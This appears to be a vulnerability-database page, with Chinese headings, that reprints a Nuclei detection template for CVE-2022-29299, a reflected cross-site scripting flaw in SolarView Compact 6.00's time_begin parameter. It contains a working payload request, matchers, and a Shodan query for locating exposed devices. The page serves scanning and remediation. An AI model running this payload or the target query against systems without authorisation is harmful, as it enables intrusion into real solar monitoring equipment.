CVE-2022-29299: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting

日期: 2025-08-01 | 影响软件: SolarView Compact 6.00 | POC: 已公开

漏洞描述

SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php.

PoC代码[已公开]

id: CVE-2022-29299

info:
  name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting
  author: For3stCo1d
  severity: medium
  description: |
    SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://www.exploit-db.com/exploits/50967
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cve-id: CVE-2022-29299
    epss-score: 0.00175
    epss-percentile: 0.5456
    cpe: cpe:2.3:o:contec:solarview_compact_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-244067125
    product: solarview_compact_firmware
    vendor: contec
  tags: cve2022,cve,xss,solarview,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script><"">'
          - '/Solar_History.php" METHOD="post">'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008e99ac4728a1bb06da8bcffddca28502b31e2c400c5e3b2ae1fdd8fb93c14a5f022100f09e9085dcab8c6190e6be7300cb0ec81620403e6edc847471ea51c06b45cb03:922c64590222798bb761d5b6d8e72950

相关漏洞推荐